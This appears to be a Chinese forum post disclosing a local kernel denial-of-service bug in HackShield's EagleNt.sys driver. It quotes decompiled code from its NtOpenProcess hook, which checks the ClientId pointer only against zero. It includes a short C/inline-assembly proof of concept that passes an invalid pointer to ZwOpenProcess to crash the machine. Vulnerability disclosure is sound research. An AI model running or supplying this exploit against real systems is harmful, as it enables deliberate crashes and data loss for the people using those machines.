HackShield EagleNt.sys 本地内核拒绝服务漏洞
影响范围: HackShield
漏洞细节:
代码:
v26 = (int)ClientId; InterlockedIncrement(&dword_29D10); if ( !v26 ) goto LABEL_14; ...... xxxx(......*(_DWORD *)v26,......)
EagleNt.sys 在自己的NtOpenProcess HOOK函数中参数检测不严格 ,没有验证参数的正确性就直接使用,并且没有使用SEH来捕捉函数中的异常
虽然程序有检查ClientId是否为0,但是可惜的是ClientId是一个指针(PCLIENT_ID ClientId),只要我们随便传递一个不为0的非法地址就可以触发异常..
测试代码:
代码:
int main(int argc, char* argv[]) { printf("HS 0day By 单行\n"); printf("请保存好你的数据,按下回车键后激活0day\n"); getchar(); GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwOpenProcess"); __asm { push 1 //ClientId 地址 push 0 push 0 push 0 call eax } return 0 ; }
这篇文章的格式是按照MJ0011博客里面的那种格式写的......小弟初学0DAY,有错误的地方麻烦各位大大指出.....
各位大大们别喷我,我只是个菜鸟
感言:
想不到HackShield这种“高级”产品上面,也有这种“低级”漏洞